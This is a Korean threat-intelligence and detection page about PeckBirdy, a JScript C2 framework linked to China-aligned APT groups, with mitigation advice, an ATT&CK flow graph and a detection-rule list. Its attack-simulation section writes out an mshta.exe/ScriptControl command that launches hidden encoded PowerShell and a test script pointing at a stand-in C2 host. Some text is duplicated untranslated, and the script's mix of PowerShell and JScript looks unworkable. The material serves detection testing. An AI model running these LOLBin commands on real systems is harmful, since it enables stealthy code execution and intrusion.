PeckBirdy: 중국 연계 위협 그룹이 사용하는 LOLBins 악용을 위한 다목적 스크립트 프레임워크
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
PeckBirdy는 중국 계열 APT 행위자들이 Living-off-the-land 이진 파일을 악용하고 HOLODONUT과 MKDOOR를 포함한 모듈형 백도어를 배포하기 위해 사용하는 JScript 기반 명령 및 제어 프레임워크입니다. 이 프레임워크는 웹 브라우저, MSHTA, WScript, NodeJS, .NET을 포함한 여러 런타임에서 실행되도록 설계되었으며, WebSocket, Flash, Comet, HTTP 등 다양한 전송 옵션을 지원합니다. 이 프레임워크는 SHADOW-VOID-044 및 SHADOW-EARTH-045로 추적된 캠페인에서 온라인 도박 리소스, 아시아 정부 웹 포털 및 교육 부문 조직을 대상으로 관찰되었습니다.
조사
연구원들은 도박 사이트와 정부 페이지에 악성 스크립트 인젝션을 보고했으며, 이는 PeckBirdy 로더를 활용하여 Chrome 취약점 (CVE-2020-16040) 및 추가 백도어 구성 요소를 포함한 후속 페이로드를 가져왔습니다. 이 활동은 HOLODONUT 및 MKDOOR라는 두 가지 모듈형 임플란트와 연결되었으며, 이전에 관찰된 그룹 및 인프라 패턴과 연결되었습니다. 분석에는 IP 주소, 도메인 및 도난된 코드 서명 인증서 사용과 같은 운영 세부사항을 포함한 손상 지표가 나열되었습니다.
완화
식별된 악성 도메인 및 IP 주소를 차단하고, MSHTA, WScript, NodeJS를 통한 비정상적인 LOLBin 사용 및 스크립트 실행을 모니터링하세요. 파일을 %TEMP%에 만들어 감지하고 코드 서명 인증서의 엄격한 검증을 시행하세요. 알려진 Cobalt Strike 페이로드와 Donut 생성 .NET 어셈블리에 대한 범위를 갖추면 노출을 더욱 줄일 수 있습니다. file in %TEMP% and enforce strict code-signing certificate validation. Coverage for known Cobalt Strike payloads and Donut-generated .NET assemblies can further reduce exposure.
대응
감지된 경우, 영향을 받은 시스템을 격리하고, 인젝션된 스크립트 및 생성된 백도어 바이너리를 수집하며, 관련된 C2 인프라를 차단하십시오. 측면 이동을 위한 포렌식 삼라마를 수행하고 관찰된 명령줄 아티팩트 및 네트워크 트래픽 패턴에 대한 감지 로직을 업데이트하십시오.
“graph TB %% Class Definitions classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef tool fill:#99ccff classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Technique Nodes content_injection[“<b>기법</b> – <b>T1659 콘텐츠 삽입</b><br /><b>설명</b>: 손상된 웹 페이지에 악성 스크립트를 주입하여 추가 페이로드를 전달합니다.”] class content_injection technique execution_mshta[“<b>기법</b> – <b>T1218.005 서명된 바이너리 프록시 실행: Mshta</b><br /><b>설명</b>: mshta.exe를 사용하여 악성 HTML 응용 프로그램 파일을 실행합니다.”] class execution_mshta technique execution_compiled_html[“<b>기법</b> – <b>T1218.001 서명된 바이너리 프록시 실행: 컴파일된 HTML 파일</b><br /><b>설명</b>: 컴파일된 HTML 파일을 사용하여 악성 JScript 페이로드를 실행합니다.”] class execution_compiled_html technique victim_id_gen[“<b>프로세스</b> – 피해자 식별자 생성<br />고유한 피해자 ID를 생성하고 악성 스크립트를 준비합니다.”] class victim_id_gen process credential_steal_cookie[“<b>기법</b> – <b>T1539 웹 세션 쿠키 훔치기</b><br /><b>설명</b>: 피해자 브라우저 세션에서 인증 쿠키를 추출합니다.”] class credential_steal_cookie technique alt_auth_material_cookie[“<b>기법</b> – <b>T1550.004 대체 인증 자료 사용: 웹 세션 쿠키</b><br /><b>설명</b>: 도난당한 세션 쿠키를 재사용하여 피해자로 인증합니다.”] class alt_auth_material_cookie technique defense_evasion_code_signing[“<b>기법</b> – <b>T1553.002 신뢰 제어 전복: 코드 서명</b><br /><b>설명</b>: 위조되거나 잘못 서명된 코드를 사용하여 신뢰 검사를 우회합니다.”] class defense_evasion_code_signing technique masquerading_invalid_sig[“<b>기법</b> – <b>T1036.001 가장: 잘못된 코드 서명</b><br /><b>설명</b>: 감지를 피하기 위해 잘못된 서명이 있는 바이너리를 제시합니다.”] class masquerading_invalid_sig technique reflective_code_loading[“<b>기법</b> – <b>T1620 반사 코드 로딩</b><br /><b>설명</b>: 운영 체제 로더를 호출하지 않고 메모리에 직접 코드를 로드합니다.”] class reflective_code_loading technique process_injection[“<b>기법</b> – <b>T1055 프로세스 인젝션</b><br /><b>설명</b>: 실행을 숨기기 위해 실행 중인 프로세스에 악성 코드를 주입합니다.”] class process_injection technique impair_defenses[“<b>기법</b> – <b>T1562 방어력 저하</b><br /><b>설명</b>: 보안 도구 및 설정을 비활성화하거나 변조합니다.”] class impair_defenses technique execution_guardrails[“<b>기법</b> – <b>T1480 실행 가드레일</b><br /><b>설명</b>: 특정 대상이나 환경에서만 실행되도록 검사합니다.”] class execution_guardrails technique obfuscated_embedded_payload[“<b>기법</b> – <b>T1027.009 난독화된 파일 또는 정보: 내장 페이로드</b><br /><b>설명</b>: 합법적인 파일이나 데이터 스트림 내에 악성 페이로드를 숨깁니다.”] class obfuscated_embedded_payload technique command_and_control_web[“<b>기법</b> – <b>T1102 웹 서비스</b><br /><b>설명</b>: 명령 및 제어 통신을 위해 표준 웹 서비스를 사용합니다.”] class command_and_control_web technique encrypted_channel[“<b>기법</b> – <b>T1573 암호화된 채널</b><br /><b>설명</b>: 네트워크 검사를 회피하기 위해 C2 트래픽을 암호화합니다.”] class encrypted_channel technique app_layer_web_protocols[“<b>기법</b> – <b>T1071.001 애플리케이션 레이어 프로토콜: 웹 프로토콜</b><br /><b>설명</b>: HTTP/HTTPS와 같은 일반적인 웹 프로토콜을 통해 통신합니다.”] class app_layer_web_protocols technique data_encoding[“<b>기법</b> – <b>T1132 데이터 인코딩</b><br /><b>설명</b>: 전송 중 감지를 피하기 위해 데이터를 인코딩합니다.”] class data_encoding technique lateral_movement_exploit[“<b>기법</b> – <b>T1210 원격 서비스 착취</b><br /><b>설명</b>: 취약한 원격 서비스를 착취하여 횡적 이동을 수행합니다.”] class lateral_movement_exploit technique remote_vulnerability[“<b>프로세스</b> – CVE-2020-16040 Chrome 취약점 착취”] class remote_vulnerability process rat_holodonut[“<b>악성코드</b> – HOLODONUT<br />원격 액세스를 위한 맞춤형 백도어”] class rat_holodonut malware rat_mkdoor[“<b>악성코드</b> – MKDOOR<br />지속성을 제공하는 보조 백도어”] class rat_mkdoor malware %% Operator Nodes op_and_exec((“AND”)) class op_and_exec operator %% Connections content_injection u002du002d>|전달| execution_mshta content_injection u002du002d>|전달| execution_compiled_html execution_mshta u002du002d>|실행| victim_id_gen execution_compiled_html u002du002d>|실행| victim_id_gen victim_id_gen u002du002d>|스크립트 준비| credential_steal_cookie credential_steal_cookie u002du002d>|연결| alt_auth_material_cookie credential_steal_cookie u002du002d>|활성화| defense_evasion_code_signing defense_evasion_code_signing u002du002d>|포함| masquerading_invalid_sig defense_evasion_code_signing u002du002d>|포함| reflective_code_loading defense_evasion_code_signing u002du002d>|포함| process_injection defense_evasion_code_signing u002du002d>|포함| impair_defenses defense_evasion_code_signing u002du002d>|포함| execution_guardrails defense_evasion_code_signing u002du002d>|포함| obfuscated_embedded_payload defense_evasion_code_signing u002du002d>|활성화| command_and_control_web command_and_control_web u002du002d>|사용| encrypted_channel encrypted_channel u002du002d>|사용| app_layer_web_protocols app_layer_web_protocols u002du002d>|사용| data_encoding command_and_control_web u002du002d>|지원| lateral_movement_exploit lateral_movement_exploit u002du002d>|경유| remote_vulnerability lateral_movement_exploit u002du002d>|배포| rat_holodonut lateral_movement_exploit u002du002d>|배포| rat_mkdoor “
공격 흐름
탐지
LOLBAS WScript / CScript (프로세스 생성 경유)
보기
연관된 명령어 탐지로 인한 의심스러운 LOLBAS MSHTA 방어 회피 행동 (프로세스 생성 경유)
보기
WMIC를 통한 의심스러운 Defender 제외 수정 (cmdline 경유)
보기
PeckBirdy 탐지를 위한 IOCs (HashSha1): 중국 계열 위협 그룹이 사용하는 다재다능한 스크립트 프레임워크
보기
PeckBirdy 탐지를 위한 IOCs (SourceIP): 중국 계열 위협 그룹이 사용하는 다재다능한 스크립트 프레임워크
보기
PeckBirdy 탐지를 위한 IOCs (DestinationIP): 중국 계열 위협 그룹이 사용하는 다재다능한 스크립트 프레임워크
보기
PeckBirdy 실행을 위한 MSHTA 및 ScriptControl 사용 [Windows 프로세스 생성]
보기
PeckBirdy 악성 스크립트 인젝션 및 자격 증명 수집 탐지 [웹 서버]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 및 기준선 사전 비행 검사가 통과해야 합니다.
이유: 이 섹션에서는 탐지 규칙을 트리거하기 위해 설계된 적대적 기술(TTP)의 정확한 실행을 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영하고 탐지 논리에서 기대되는 정확한 텔레메트리를 생성하는 것이어야 합니다.
-
공격 내러티브 및 명령어:
적대자는 PeckBirdy 스크립트 프레임워크를 사용하여 원격 제어 채널을 설정하고자 합니다. 그들은mshta.exe를 선택했습니다. 이는 대부분의 애플리케이션 허가 목록을 우회하는 서명된 Windows 이진 파일이기 때문입니다. 페이로드는 C2 서버에서 가져온 JScript 코드를 실행하기 위해 ActiveXScriptControl개체를 포함합니다. 단계는 다음과 같습니다:- C2에서 악성 JScript 페이로드를 다운로드
(예:). - 에서
mshta.exe인라인으로URI를 통해ScriptControl인스턴스를 만들고, 다운로드한 스크립트를 로드하고 실행합니다. - JScript 코드는 역방향 TCP 리스너를 설정하여 발판을 완성합니다.
텔레메트리를 생성하는 정확한 명령줄은 다음과 같습니다:
mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"이 명령은
mshta.exe와 문자열ScriptControl를 모두 포함하여 Sigma 조건을 충족합니다. - C2에서 악성 JScript 페이로드를 다운로드
-
회귀 테스트 스크립트:
아래 스크립트는 악성mshta호출을 자동화합니다. 관리 계정을 통해 테스트 워크스테이션에서 실행될 수 있습니다.#------------------------------------------------- # mshta + ScriptControl을 통한 PeckBirdy 실행 #------------------------------------------------- $c2Url = "http://malicious.c2/payload.js" $jsCode = @" var sc = new ActiveXObject('ScriptControl'); sc.Language = 'JScript'; // 간단한 비콘 – 실제 페이로드로 교체 sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");'); "@ # JScript 페이로드를 인코딩하여 줄 바꿈 문제를 피합니다 $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)" Write-Host "[*] 악성 mshta 실행 중..." Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow -
정리 명령:
테스트에서 생성된 아티팩트를 제거하십시오 (예: 임시 파일).#------------------------------------------------- # PeckBirdy 시뮬레이션 후 정리 #------------------------------------------------- Write-Host "[*] 테스트 아티팩트 정리 중..." Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue # 테스트에서 시작된 남아있는 mshta 프로세스를 중지합니다 Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force